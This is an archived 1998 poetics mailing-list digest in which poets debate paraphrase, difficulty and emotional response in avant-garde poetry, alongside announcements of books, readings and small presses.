> *I felt the same for a long time until it 'hit' me that there was something in some that didn't 'deaden' a visceral and/or emotional response but rather brought (invited) the response directly without needing to go through my language (intellectual) channel. These some became many and then BANG ZOWIE. It's there if you look or feel and don't talk about same.*
> *tom bell*
>
> *At 10:54 PM 5/3/98 EDT, Aviva99999 wrote:*
> *In a message dated 98-05-02 12:51:50 EDT, you write:*
>
> *emotional and/or*
> *visceral responses are not only useful, they're necessary.*
>
> *there's so much =experimental= work, however, that seems to deaden, rather than enliven, visceral and/or emotional response. to have some kind of kinesthetic experience of the poem...or spirit-engaging experience of the poem...it seems necessary to offer the reader some stimulation in these areas. much of the =experimental= poetry i've read seems to dwell in a cerebral domain, which seems to me a different =landscape= than the visceral/emotional domains. of course, there are always exceptions; certainly, a cerebral/intellectual experience can ultimately generate a visceral/emotional*

> *experience...but not usually, as far as my own experience goes. making such distinctions between mind, body and spirit is risky and perhaps folly. however, there's so much work out there that just leaves me passionless, intellectually numbed, and aesthetically bored. it seems to happen when the work is so incredibly =private= that i can't find any place in it to grab on to, or become engaged. it's not that i require total =absorption= in the work...i don't want all my responses packaged up for me, as if i were buying a =poem patty= at a fast food restaurant, but neither do i want featureless, textureless cardboard. i don't know...i haven't thought this through well enough to make myself clear, but i'm frankly very frustrated with poetry that makes zero effort to engage anyone but the writer.*

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55. **Miekal And**
Re: release the strings
Mon 4 May 1998

---

this is a complete aside

Ive been on this list over a year & I cannot accept the fact that jordan & henry g are actually 2 different people. I know someday I will have to accept the fact, but just thot I wanted to announce what strange things email does to one's mind.

harry kemp

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56. **Jordan Davis**
release the strings
Mon 4 May 1998

A lot of dissonance about the paraphrasable part of poetry shuttling around already -- so -- to go along with Charles A, no, it's probably not a beautiful idea to rank poems as you read (viz. The Top 500 Poems from Columbia U Press -- which to be fair to Edith Hazen and what's his last name Nick the new Granger's guy is only an index of the most frequently anthologized poems). But Charles, I don't understand why compare Hardy favorably to Pound in order to dismiss Hardy.

There's a footnote in _Works & Days_, Bill Luoma's new book, in which he offers a reasonable working model for piecing out the meaning of non-syntactical work. By meaning I'm jogging alongside Dave baratier (I think) who seemed to be suggesting that the experience of the poem (the paths of meanings? not

merely prose straightahead meaning delivery units but the sound, and now ((print & after)) the visual, and of course the affect -- Aviva sometimes it can be difficult to locate the affect of non-syntactical work and sometimes it isn't there but take heart! sometimes it is viz. Tender Buttons, Solution Passage, When the Sun Tries to Go on, etc) the experience of the poem is the thing. Ha. Well not the thing but what you want the iodine or other marker to indicate. Is this poem really necessary? Not that anyone needs to think they're in a rationed situation, equities up 20% last year and the year before etc. Coff. Coff.

All right, to come back to a coherent prose style for just a few lines. Henry noted that the sublime was an attempt to escape the paraphrasable. Yes, but in this transcendental scheme, all one would need to paraphrase the sublime is a marker, say, an asymptote. The speaker of the poem, having surveyed the activity in the hillsides and on the avenues, ascends into a swoon i.e. collapses. Ron Padgett's poem A Man Saw A Ball of Gold: "Aye, it was a ball of gold" is it seems to me a parody of this idea that the sublime cannot be described or written, or at least a parody of conventional ideas of the sublime. So, to try to say something without invoking the Whitman Self-Contradiction Clause, it sounds as though the issue at hand for the evaluators of poetry is how to acknowledge the various ways a poem (a work?) can be beautiful (give the reader a feeling?) without putting too much emphasis on anything that would lead people to assume that the thing to do to give people feelings (be beautiful?) is to imitate the going style.

Of course we all know that jose feliciano is not Homer and feelings have already been replaced on the oldies stations by theories. Feelings you could substitute something else maybe, ideas? So long, objective correlative! Take care, melopoeia! Arrivaderci, projective verse. No ideas in things either.

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57. henry
Re: release the strings
Mon 4 May 1998

Jonathan Skinner's fascinating entry on "grace" in Transcendental Friend speaks to some of these "critical" issues (ie. what makes a poem beautiful, how do poems win us over without becoming purely intelligible, "semantic objects" and all that). Aviva is right too that it has something to do with poetry being more than some kind of disembodied verbal solitaire. - Henry G.

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58. **Mark Prejsnar**
Re: Stevens and surrealism
Mon 4 May 1998

always imagined machine guns figuring in that image, myself.

Esthetique du Mal was always my fav long Stevens. I was delighted one day to look in the excecrable H. Vendler's book on Stevens (largely on his long things, I believe) and discover that she hates it, and didn't give it any space; a dismissive sentence or two. (That's my memory, anyway) It's nice to have one's judgments confirmed!

On Fri, 1 May 1998 [redacted] wrote:

> *My favorite "surrealist" moment in Stevens occurs in "Esthetique du Mal": don't have the poem handy now, but the passage goes something like, "the paratroopers fall, and as they fall they mow the lawn" etc..*
>
> *I wonder if Stevens would have written the line if he had known of riding tractor mowers...hmm.*
>
> *Gary R.*

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59. **Henry**
Re: release the strings
Mon 4 May 1998

On Mon, 4 May 1998 08:15:52 +0000 Miekal And said:
>this is a complete aside
>
>
>Ive been on this list over a year & I cannot accept the fact that jordan
>& henry g are actually 2 different people. I know someday I will have
>to accept the fact, but just thot I wanted to announce what strange
>things email does to one's mind.
>
>harry kemp

Don't worry, Harry - it's not you. Whenever Jordan writes in I try to respond in the same style. & whenever I write in Jordan tries to respond as himself. So there are really 2 Jordans, the original and the copy. This is also the origin of the subplot, for all you Shakespeareans out there. Put that in your sub-poetics & quibble! - Harry G.

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60. Mark Prejsnar
Re: what's difficult
Mon 4 May 1998

As always, I have to retreive the stuff from my home, which is not where I have internet access; this is a pain in the neck

Essentially it is *just one sentence* , Mark, at the beginng of one of your contributions.

You pretty much echo what Martin has been saying. I think you do it just to establish continuity and flow; and yes I'm pretty well aware that the basic burden of your replies throughout the colloquium are *in opposition* to what Martin several times says, about poets wanting to be obscure. That's why that one sentence jolts a bit. No doubt I misread it, and didn't make enuff allowences for context. But that's how I remember it, and I'll be able to respond to you tomorrow, when it's possible to have the thing in hand.

Let me repeat that your contributions to the exchange are superb and I hope people do look at it.

It's pretty much Martin who is pushing this quaint idea; I just felt I shouldn't let you off the hook! given that I believed that in one sentence you sort of agreed with his statements. We'll see if I was reading carelessly. Probably.

I think the sentence I had in mind is indeed the one you allude to. It seemed to me that (in the context of Martin's comments) saying that "A-G" poets have absorbed and carry with 'em a "pretension" that their work is obscure...well, it sounded like what you meant was, that they imagine (and want) their work to be obscure. Now I'm getting a little closer to what's going on....I believe that one sentence of yours could be clearer, and that that's what we're both struggling over.

I suspect I made a dumb gaff, and should have just tarred S-P M. with that brush...(albeit i think your sentence isn't clear--but that could well be my stumbling, alone; not all that unusual!)

(signed)
inept in @lanta...

On Fri, 1 May 1998, Mark Wallace wrote:

> *Hey Mark Presjnar:*
>
> *Thanks for your comments about the dialogue piece Jeff Hansen, Stephen-Paul Martin, and I wrote for Central Park magazine on the subject of "difficulty" in avant garde poetry, and for your comments about my other work.*

I do have to say, though, that when you suggest that I "expand on" Stephen-Paul Martin's point about the inherent "difficulty" of much contemporary writing, it seems odd that you would say that about that piece, because the point that you say in your post that I am making is precisely the OPPOSITE of the point I was making there. Which is curious, I suppose, given the subject of "difficulty" that is as stake here.

In that essay, I disagree with Stephen-Paul Martin's assertion that "difficulty" is one of the main goals of the texts we are writing about, and writing--I say that the idea that such work is "difficult" is one of the pieces of cultural baggage that writers of avant garde work have absorbed all too often--one of our main "pretensions," I believe may be the word I use. Sorry to quote myself here, but I believe I say also that, "There is nothing inherently difficult about such works; there is just something unfamiliar." I go on to say that I believe that most people can learn to understand "avant garde" poetry with about several hours (say, 3) of training, which is much less training, of course, than they have received in how to read newspapers and novels.

Given all this, I'm not sure how you could have read me to be saying that what I an interested in in avant garde work is its inherent difficulty, and so would be curious to know why you think that's what I was saying.

But perhaps I am misunderstanding you in what seems to me your misunderstanding of me.

It's amazing that what's so simple can often be so difficult.

Mark Wallace

/----------\
| |
| [redacted] |
| *GWU:* |
| *http://gwis2.circ.gwu.edu/~mdw* |
| *EPC:* |
| *http://writing.upenn.edu/epc/authors/wallace* |
|_____|

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61. Mark Prejsnar
a poem should not mean but bleed
Mon 4 May 1998

"It is not the business of poetry to be anything." Being primarily activity, poetry roils. It should act mostly through dynamism.. It uses words (phonemes, etc.) to hammer away at physical reality, to chip and damage it into history. **It should have no paraphraseable content** Poetry doesn't like you, why should it care what you think about it? (Only when it is so bad it's practically ceased to exist, can it be paraphrased) The ear is it's medium, the ear and the contingent facts of history. "The function of poetry is to waste excess energy."

(signed)
indeterminate in @lanta

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62. Judy Roitman
Re: Understanding and Evaluating Poems
Mon 4 May 1998

Nice piece by Charles Rosen in current NYRB on knee-jerk negative reactions toavant-garde music which deals with many of the issues in this thread, including the unfounded calumny that no-one wants to have anything to do with that stuff.

Uses word "understanding" throughout. In discussion of music, not poetry, so explication (except in programmatic music -- here is where the white swan dies, here is where the Titanic sinks) not relevant. "Understanding" must be understood more broadly.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

63. Jordan Davis
at the risk of offending
Mon 4 May 1998

Mark,

Roil on. I think we must have different things in mind by paraphrase.

Jordan

↑ Index

64. Michael Kelleher
a l y r i c m a i l e r 5
Mon 4 May 1998

Poets and Friends,

a l y r i c m a i l e r 5

you follow

by

Heather Fuller

now up at

http://writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm

Heather Fuller's book _perhaps this is a rescue fantasy_ was published last year by Edge Books. She lives in Washington D.C., where she works at The National Law Center on Homelessness and Poverty.

Upcoming issues to feature Carrie Tocci, Stephen Mounkhall, Heather Ramsdell, Ben Friedlander and more.

Enjoy.

Mike

↑ Index

65. Robert Archambeau
Re: Bellamy Reading in Chicago
Mon 4 May 1998

Joel,

Is there room for one more at the"informal setting"?

Bob

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

" on the end
of each decision stands a heretic"
--Michael Barrett

↑ Index

66. Judy Roitman
Re: The Meaning of Meaning
Mon 4 May 1998

> *In a message dated 98-05-02 12:51:50 EDT, you write:*
>
> *emotional and/or*
> *visceral responses are not only useful, they're necessary.*
>
> *there's so much =experimental= work, however, that seems to deaden, rather than enliven, visceral and/or emotional response.*

And a lot of other work too.

I cannot read, say, Susan Howe without feeling it in my bones. But I cannot feel, say, any poet laureate in my bones at all.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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67. Mark Wallace
what's difficult--the offending sentence
Mon 4 May 1998

Mark:

Thanks for your response--it does clarify things somewhat. No need to apologize for any kind of misreading--that's the way things on this list go, is it not?

Here is the offending sentence, in context, from my piece with Stephen-Paul Martin and Jeff Hansen:

"It seems to me that one of the biggest and most commonly shared pretentions of avant garde writers is that our work is difficult and/or

unreadable. But I think also that one of the biggest presumptions of more mainstream writers (journalists, for instance) is that their work is easy to understand. My own experience leads me to believe that many of the techniques necessary to understand experimental literature can be taught, with about three hours of close attention, to reasonably intelligent college students who show any willingness to engage with such literature. Of course, if you're not willing to give three hours of your whole life to try to understand something, then your inability (or, let's be honest, unwillingness) to understand it is your own fault, not mine."

The first thing to say is that your post DID imply that the first sentence formed the basic argument of my whole piece--no need to worry that one anymore though, I take it as behind us. The second issue (and I suppose it's important, to you and me anyway), is how to read the first sentence, which I take it is what you took exception to.

I think, from the vantage point of several years (we wrote the piece in 1994), that sentence seems to me something of an overstatement, although yes, it was written mainly as a way of finding a transition between Stephen-Paul's section and my own. From my present vantage point, I guess I have no proof how broad any assumption of "difficulty" is across the avant garde--but I CAN give you reasons why it seemed to me so at the time.

Before I do that, I do also want to say that "difficulty" and "obscurity" and "unreadability" do NOT seem to me interchangeable words. I'm not against difficulty--I'm not even sure I'm against obscurity--but I think I would stress that some types of "difficulty" in reading are not such a bad thing, since a "difficult" text may in some cases simply mean a text that needs close and complex attention, and I can't see any problem with that. "Obscurity" I guess I would see as an attempt to make something hard to understand simply in order to make it hard to understand, rather than because the problems it raises are complex. That doesn't seem a good thing to me, although I suppose I can imagine an occasion when it might. "Unreadable" seems to me another term--I take it usually as a text in which some part of the piece can't be read (because the letters are covered up, say) as transparent conveyors of meaning, and so another way of "reading" (often a way of visually reading) becomes necessary.

What Stephen-Paul speaks of is the pride that some individuals do take in being able to read that which others claim they cannot read--and take that as a point of pride too easily. He uses his graduate school experience as an example, and talks about people who try to prove that they are smart by proving that they can read "difficult" books. In my experience, such a thing did happen all the time. Although I greatly enjoyed much of my experience as a graduate student at UBuffalo, pretensions about such matters were entirely common--

that may not have been true in your experience. There is, in graduate school (and outside?) a fairly pervasive problem of jockeying for position on the subject of how others perceive one's intelligence.

There is, I think, too easy a leap from his claims about graduate school to his claims about avant garde poets more generally, and I think, because I was trying to make other points at the time, I didn't perhaps deal with that issue in the detail it may have deserved. At the same time, though, I do NOT think that it's an easy given that the community of "avant garde" poets all have a conception of their work as "easy to read," although some perhaps do. I think the problem continues to exist as a problem--in a world in which claims about our elitism are thrown back at us constantly, there is still a need to watch out that we don't succubm too easily in believing in our own "difficulty" in the way that someone like Eliot, for instance, did. Which is, I take it, one of the points Stephen-Paul is trying to make.

So I would agree with you that my first sentence in that dialogue contains an assumption it can't quite prove. That is, it can't prove how actually widespread the problem that Stephen-Paul raises--have we too easily accepted a certain notion about difficulty?--and thankfully you for one have not accepted such an assumption, and many others have not as well. But I still think that sentence is right to the extent that I do feel that the "pretension" it mentions does exist, and is one that needs to be argued against, as opposed to being seen as a given. And the reason I felt I needed to respond to your post in the first place was because the rest of my piece does try to undermine the whole concept of "difficulty," but your post did not suggest that I had done so.

Thanks for giving me this chance to elaborate--

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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68. Steven Clay

Artists Books: A Critical Survey of the Literature

Mon 4 May 1998

<smaller>Announcing the publication of:

Artists Books: A Critical Survey of the Literature by Stefan Klima

The first and only published guide to writings on artists books this book contains five lucid essays and a carefully researched, thorough bibliography. An important reference tool for anyone interested in artists books.

Stefan Klima's text is an invaluable resource for anyone wishing to explore the development of critical debates on artists books. Beginning with documentation from the late 1960s Klima carefully charts the discussion of several central issues: the identity of artists books, their disputed origins, and their current status. His summary of debates is handled with the even-handedness of an outsider; he maps the sometimes fractious and frequently contentious dialogues among interested parties with scrupulous care. His bibliography is a thoroughly useful guide to the critical and historical texts. It has the advantage of being well focused on the topic and thus serves as an essential point of departure for any student, librarian, critic, or collector interested in pursuing the literature on artists books. A welcome addition to a steadily growing body of works in the field.

*Johanna Drucker.

Johanna Drucker is an artist, scholar and writer. She is the author of The Century of Artists Books, The Alphabetic Labyrinth and The Visible Word among many other books. She is an associate Professor at Yale University.

Stefan Klima was born in Oldham, England. He has a degree in art and a Ph.D in American Music. Currently Head of Fine and Performing Arts at the Beverly Hills Public Library Stefan Klima has been an observer of artists books since 1985. This is his first book.

$17.95 (+ $3 shipping, domestic + sales tax, NY only)

110 pages, paperback original

ISBN 1-887123-18-0

Publication date: May 10, 1998

Published by:

Granary Books

568 Broadway #403

New York City 10012

[redacted]

</smaller>

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69. Mark Nowak
Arthur Sze
Mon 4 May 1998

The inaugural reading in a series sponsored by _Rain Taxi_ was held at the Weinstein Gallery on West 46th St. in Minneapolis last night to a packed house of over 50 people. Sze began by reading the poem "Streamers" from his last collection, _Archipelago_ (Copper Canyon Press), then read two new sequences from his forthcoming (in the next few weeks, he told me) book, _The Redshifting Web_ (which features new and selected poems from Sze, also from Copper Canyon). The crowd was energized, Sze read stunningly, with a huge Chuck Close self-portrait behind him (the gallery had up an entire show of Close self-portraits, maybe a dozen works in all--an amazing gem for such a small gallery in the upper midwest!). Summit brewery provided free post-event ales. A nice way to spend the Sunday night following the In the Heart of the Beast Puppet & Mask Theater's 24th annual parade & festival through the streets of Minneapolis.

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70. groberts
Padgett's sub lime pie
Mon 4 May 1998

Thanks Jordan for mentioning Ron Padgett in this context. I would say that his collection "The Big Something" is making, as the book's title suggests, a tart treat out of these topics of the sublime, meaning, understanding. See for another example, the poem "Poem":

When I am dead and gone
they will say of me,
"We never could figure out
what he was talking about,
but it was clear that he
understood very well
that modernism is a branch
that was cut off decades ago."

This parody of interpretation feeds into Lyotard's discussion of the sublime in his essay on "What is postmodernism?" The end of Padgett's "Poem" is a funny play on metaphor's of heigth and depth that rhetorical discussions of the sublime rely heavily on.

Gary R.

↑ Index

71. Carolyn Guertin
First Arizona, now Texas...
Mon 4 May 1998

Following on the query about Arizona, I am planning a research trip to Texas. Could anyone out there answer some questions and/or provide some info about Austin? Please backchannel.

Thanks,
Carolyn

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>

↑ Index

72. ScoutEW
Re: First Arizona, now Arizona.
Mon 4 May 1998

Jordan really is two people, no three....may be someday he will give me an answer about thursday! but really, I need some info on Arizona, because I may be moving there any of you nice arizonians please backchaNNEL me about what it is like in Tucson and or Phoenix, I trust you people and not the tourbooks!! I need rent prices, job market info, roadrunner sightings

o yes, and thank you all for contributions for "Tool a Magazine"
keep them coming
erik sweet

↑ Index

73. Keston Sutherland
Re: The Meaning of Meaning
Mon 4 May 1998

> *cannot feel, say, any poet laureate in my bones at all.*

I agree with what your saying says, but also said is something which we can disagree with if remembering that it wasn't -always- this way, Dryden was laureate, as was Southey, they did give it to heroes a few times upon a time, nowadays however what a misfortune

↑ Index

74. Mark Prejsnar
fascination of what's difficult, er, obscure, er
Mon 4 May 1998

Mark W.--

Thanx for your long and precise response. I don't think there's much to add; you have indeed clarified almost everything I/we brought up about the Central Park piece (...making some very helpful further theoretical points in the process). My only quibble (and it *is* very small) is with your sentence:

"I do NOT think that it's an easy given that the community of "avant garde" poets all have a conception of their work as "easy to read," although some perhaps do."

..I don't think most of us have a conception of our work as "easy to read," either! But the difficulties are simply those of encountering any interesting practice...(or they're on the same scale, rather): it isn't "easy" to encounter a late Beethoven quartet for the first time; for some people it isn't easy (on a number of levels) to encounter a Public Enemy record for the first! or a Munch painting or a Noh drama or...

This I take it is partly what you're getting at by differentiating the terms difficult, obscure etc. Ain't nothin' wrong (necessarily) with "not being easy." (No bawdy quips, please)

Thanx for the great exchange...

fascinated in atlantis.....
M.

↑ Index

75. David Israel
Fiona Templeton
Mon 4 May 1998

John Cayley asks for Fiona Templeton's e-address. There is none such extant -- as Fiona mentioned abt. a week ago, circa her reading in DC; -- as to her immediate whereabouts, she's evidently ensconsed off in some rural Virginia (?) college, in some manner of residency . . . hopefully somebody else can give a finer (US postal) focus . . .

d.i.

/ / /

Date: Sun, 3 May 1998 11:26:38 -0800
From: John Cayley <[redacted]>
Subject: Current (e)address for Fiona Templeton

Can anyone give me the current address, ideally an email address, but snail also good, for Fiona. Thanks in anticipation. John

↑ Index

76. **henry g**
Re: Understanding and Evaluating Poems
Mon 4 May 1998

On Mon, 4 May 1998 14:45:36 -0500 Taylor Brady said:
>
>This seems to have some bearing on the issues of difficulty and understanding
>which prompted this thread, as what's at stake in various forms in these
>composers' works is an understanding of difficulty, complexity, etc. --
>generally
>held to be measures of what's worthwhile in the experience of art -- which has
>less to do with the listener's having acquired the requisite formal,
>musicological training needed to parse or paraphrase a multiply-articulated,
>historically-referential series of forms, and has more to do with a willingness
>to deal with that aspect of the musical situation which is less susceptible to
>paraphrase. For example, one of Tony Conrad's or Phill Niblock's long-
duration
>pieces gives up its secret fairly quickly: within the first two or three
>seconds,
>you start to hear those difference tones and beats, and you "get it." The
>question at that point is what one does with the remaining 45 minutes or so.
>Such
>work thus seems to propose a value for in-time experience which tends to be
>correspondingly absent in much late serialism.
>
>What does this have to do with poetry? How far can one push the
analogybetween
>the avant-gardes of different arts? I'm not really sure there's an answer to
>such
>questions, but as a means of pointing out the multiple degrees of difference
>which might be at stake here -- "there's difficulty and then there's
>difficulty"
>-- the musical situation as (mis)addressed in Rosen's article seemed an
>interesting aside.

This all seems very relevant. But the willingness to be open to difficulty - can it be separated from the "training" of the ear to hear it? The one leads to the other and vice versa.

Isn't there a border between music and poetry which is not a border? I mean regarding the "music of ideas" in poetry and "musical ideas". Poetry often uses the semantic element (the various "messages") as a foil for a musical development which has a perhaps inexpressible (un-paraphraseable) or even different meaning.

Is there a parallel between the "workmanlike" poem (in the terms of J. Skinner' s current "T. Friend" definition, carefully-put-together but lacking "grace") and the making of purely conceptual art - I mean difficulty for its own sake, tours-de-force, exercises, art-as-intellectual game... the one (workmanlike) displays craft without grace; the other displays superlative craft (virtuosity) without grace. What is this mysterious grace that links the difficult and the beautiful, the simple and the complex, the heart and the mind? - Henry Gould

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77. Taylor Brady

Re: Understanding and Evaluating Poems

Mon 4 May 1998

Interesting, though, that Rosen's construction of the avant-garde seems to stall out somwhere in the 1960's: the grand-dads of Uptown serialism -- Babbitt, Carter, et al. Interesting because one might add to the conflict he details -- i.e., between the composer-advocates of musical modernism and the administrators and taste-makers who insist on a conservative understanding of the "classical" repertoire -- an account of the very real conflicts between, variously, uptown and downtown new music scenes, serialism and minimalism, "pure" Euro-derived "art music" and jazz- and pop-influenced compositions. While I'd join Rosen in his strenuous disagreement with the Lloyd Webber brother's contention that a small handful of modernist "dictators" are ruining music for the rest of us folks, I would point out that until very recently, in terms of access to educational institutions, grants, commissions, etc., these late modernists have "kept out," relatively speaking, the work of our various Meredith Monks, Pauline Oliveroses, Anthony Braxtons, Tony Conrads, etc.

This seems to have some bearing on the issues of difficulty and understanding which prompted this thread, as what's at stake in various forms in these composers' works is an understanding of difficulty, complexity, etc. -- generally held to be measures of what's worthwhile in the experience of art -- which has less to do with the listener's having acquired the requisite formal, musicological training needed to parse or paraphrase a multiply-articulated, historically-

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-- Taylor Brady
editor, Cartograffiti
http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

(a publication of the Small Press Collective)
http://writing.upenn.edu/AandL/english/pubs/spc

Judy Roitman wrote:

> *Nice piece by Charles Rosen in current NYRB on knee-jerk negative reactions toavant-garde music which deals with many of the issues in this thread, including the unfounded calumny that no-one wants to have anything to do with that stuff.*
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> *Uses word "understanding" throughout. In discussion of music, not poetry, so explication (except in programmatic music -- here is where the white swan dies, here is where the Titanic sinks) not relevant. "Understanding" must be understood more broadly.*
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> *Judy Roitman | "Whoppers Whoppers Whoppers!*
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> *----------*
> *Note new area code*
> *----------*
> *http://www.math.ukans.edu/~roitman/*
> *----------*

<HTML> <BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#003399" VLINK="#006600" ALINK="#FF0000"> Interesting, though, that Rosen's construction of the avant-garde seems to stall out somwhere in the 1960's: the grand-dads of Uptown serialism -- Babbitt, Carter, et al. Interesting because one might add to the conflict he details -- i.e., between the composer-advocates of musical modernism and the administrators and taste-makers who insist on a conservative understanding of the "classical" repertoire -- an account of the very real conflicts between, variously, uptown and downtown new music scenes, serialism and minimalism, "pure" Euro-derived "art music" and jazz- and pop-influenced compositions. While I'd join Rosen in his strenuous disagreement with the Lloyd Webber brother's contention that a small handful of modernist "dictators" are ruining music for the rest of us folks, I would point out that until very recently, in terms of access to educational institutions, grants, commissions, etc., these late modernists have "kept out," relatively speaking, the work of our various Meredith Monks, Pauline Oliveroses, Anthony Braxtons, Tony Conrads, etc.

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<P>-- Taylor Brady

editor, <I>Cartograffiti</I>

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<P>(a publication of the Small Press Collective)

 <A
HREF="http://writing.upenn.edu/AandL/english/pubs/spc">http://writing.upenn
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"Understanding"
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<P>----------
Judy
Roitman
;
      | "Whoppers
Whoppers   Whoppers!
Math, University of
Kansas |
     memory fails
Lawrence, KS
66045   &
nbsp; |
         these are the days."

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         Larry Eigner, 1927-
1996

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↑ Index

78. **MAYHEW**
(mis)understanding poetry
Mon 4 May 1998

Different senses of misunderstanding come into play, especially when "paraphrasable content" is the issue. I understand Creeley or Scalapino pretty well; there's no problem here, though a paraphrase of "that they were at the beach" would be pretty much beside the point. When people says they don't understand such writing it means they don't understand the *poetics*. The paraphrase wouldn't help them much.

Other kinds of difficulty: references one needs a detailed commentary to explain. There is an essay by Davenport on Olson--all these people were recommending "The Kingfishers" to him, but it turned out noone knew what any of the reference were to. Noone knew who "Fernand" was.

Poems that you have to interpret the hell out of; that demand a sort of hermeneutical approach, because of the density of the language. This is a third category--Mallarme, Celan...

Jonathan Mayhew

↑ Index

79. **RaeA100900**
Tony Lopez
Mon 4 May 1998

Dear World,

I'm trying to reach Tony Lopez sometime this week. Does anyone have an address?

Rae Armantrout

↑ Index

80. **Peter Ganick**
potes & poets press
Mon 4 May 1998

---

recently potes & poets was at the point of being
discontinued due to lack of funding and per-

sonal initiative, but a small source of income
for the press has been found and i would like to
announce that the press is soliciting manuscripts
for a new chapbook series. potes & poets will however
no longer publish perfectbound books and will
probably phase out it's a.bacus series after the
year 2000. since 1984, the press has published
43 perfectbound books (including 'the art of
practice: 45 contemporary poets') and 114 issues
of a.bacus (to date). most of these are available
through small press distribution.

the chapbooks will feature new and younger writers,
and will place special emphasis on experimental
texts, collaborations, and writings by women.
manuscripts are being solicited at this point and
should be chapbook-length, challenging the
boundaries of language (in all the senses of that
word) and visual format.

email me for further information at [redacted].
send manuscripts to: peter ganick, potes & poets press,
181 edgemont avenue, elmwood ct 06110-1005.

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81. Keston Sutherland
Re: Tony Lopez
Mon 4 May 1998

Hello Rae. It is: [redacted]

x, k

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82. Chicago Review
Chicago Review Update
Mon 4 May 1998

The latest issue of Chicago Review (vol. 44, no. 1) is now out. Contents include:

--Retrospective section on Chicago poet Paul Carroll, with late poems and criticism, and a memoir by Paul Hoover

--Poetry by Tom Pickard, Michael Anania, Craig Watson, and Juliana Spahr

--Interview with Robert Duncan (1976)

--Essay by Alice Notley on Iovis I & 2.

This issue can be found in bookstores, or ordered directly for $6. Subscriptions are $15 to Poetics List members. Please reply via e-mail or US mail to the address below.

Forthcoming in June: Martin Corless-Smith, John Koethe, Bill Griffiths, Colin Simms, Linh Dinh, Paul Vangelisti, Catherine Wagner, Jody Gladding, Ronald Johnson, and John Taggart on George Oppen

Our Web site will be updated soon.

Thank you.

Andrew Rathmann
Editor, Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
e-mail [redacted]

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83. Pritchett,Patrick
Re: Letters Not About Love
Mon 4 May 1998

Friday, May 1, Rachel Levitsky and I drove down to the University of Denver to hear Lyn Hejinian show a film, give a talk, and read some poems. We also gorged ourselves on mussels and bouillabaise at a very nice French restaurant -- but that+s another story.

Present at one or both portions of the event: moderator Cole Swensen, Bin Ramke, Rikki Ducornet, Mark Irwin, Beth Nugent, Jack Collom, Jennifer Heath, Michael Friedman, Anselm Hollo, Andrew Schelling, Bobbie Hawkins, Laura Mullen, Cedar Sigo and Jeni Olin. And a raft of grad students.

The film -- "Letters Not About Love" -- is remarkable. Directed by Jacki Ochs (incidentally, sister to Hejinian+s husband Larry Ochs, who himself provided a very powerful and haunting jazz score), it concerns itself with an exchange of letters between Hejinian and Russian poet Arkadii Dragomeschenko (sic) from 1988-1993. Ochs asked the poets to shape their correspondence around a set of words -- Home, Grandmother, Neighbor, Poverty, Book, Work, Violence, Window -- which she gave them. The results form a sustained dialogue/meditation on two cultures, two idioms, and ultimately, the nature of dialogue and language itself.

As the poets+ conversation progresses, it underscores the way language both encodes against loss, in a very daily and personal way -- the loss of a sense of place, the loss of memory, of the quotidian -- and is vulnerable itself to loss, to slippage. The letter figures both as a method of communication that creates its own self-contained and ongoing continuum and a form of expression anxious about its existence, about the sense of dislocation, physical and emotional, that the act of writing letters has always sought to overcome.

Throughout, the richness of Jacki Ochs stream of visual images, combined with the music of Larry Ochs, provides a continual counterpoint, adding additional layers of "language" to the spoken words (read by the actress Lili Taylor -- Lyn said that Jacki thought her voice too "girlish" - and dialect coach Viktor Hurd).

Afterwards, some of the discussion of the film (both public and private) focused on the erotics of letter writing: on the subtle tensions that pre-inhabit the word and guide it; on the richness and power of letter-writing as a genre, a genre too often relegated to the ghettoized status of "women+s writing." Hejinian spoke about "negotiating the gulf between words and things -- not to fill it [that gulf] -- but to enter it, as a realm of possibility -- a poetics of possibility..." An old White Russian woman who first read Arkadii+s letters for her warned her that he was a demon and wanted to possess her soul. And Lyn quoted Shklovsky: "the role of art is to kill pessimism."

"Letters Not About Love" is, of course, precisely and ironically about love -- about the eros of logos. And the logos of eros. It has been screened at a number of film festivals, received at least one award, but at present lacks a distributor. Lyn remarked that exhibitors were nervous about its "lack of an ending." (Haven't they read "The Rejection of Closure"?)

***

In the evening, Hejinian began her reading with a selection of twelve poems from "Oxhota" -- the section based on expatriate jazz musician Steve Lacy+s list of the 12 components of the Russian soul: Betrayal, Death, Conspiracy, Truth, etc., which Lyn says got a good laugh from her Russian friends.

This was followed by new work -- an appropriately sprightly and altogether enchanting poem called "Happily," a meditation on chance, sequence and agency:

"Is happiness the name for our involuntary complicity with chance?"

She closed the evening with a long portion from "A Border Comedy" (forthcoming soon from Sun & Moon). She described the genesis of this work as having arisen from her collaboration with Jack Collom in "Wicker," which having enjoyed so much she attempted to try on her own -- a kind of self-

collaboration where a line would be written, then put away to undergo some form of effacement -- and then added on to as if written by another.

"However lively the imagination it still benefits from contact with reality."

"But a man doesn+t dump his mother in a horsepond just because it starts to rain."

Patrick Pritchett

↑ Index

84. **Aviva99999**
Re: release the strings
Mon 4 May 1998

In a message dated 98-05-04 09:04:13 EDT, you write:

> *disembodied verbal solitaire.*

Henry, I like that phrase.

↑ Index

85. **Aviva99999**
Re: The Meaning of Meaning
Mon 4 May 1998

In a message dated 98-05-04 11:32:49 EDT, you write:

> *And a lot of other work too.*

I read some Tony Hoagland stuff the other day and was reminded of another peeve I have...flat, prosaic language ambling its way toward embarassingly mundane "epiphany." Obviously, it's not just certain "experimental" poems that "deaden."

↑ Index

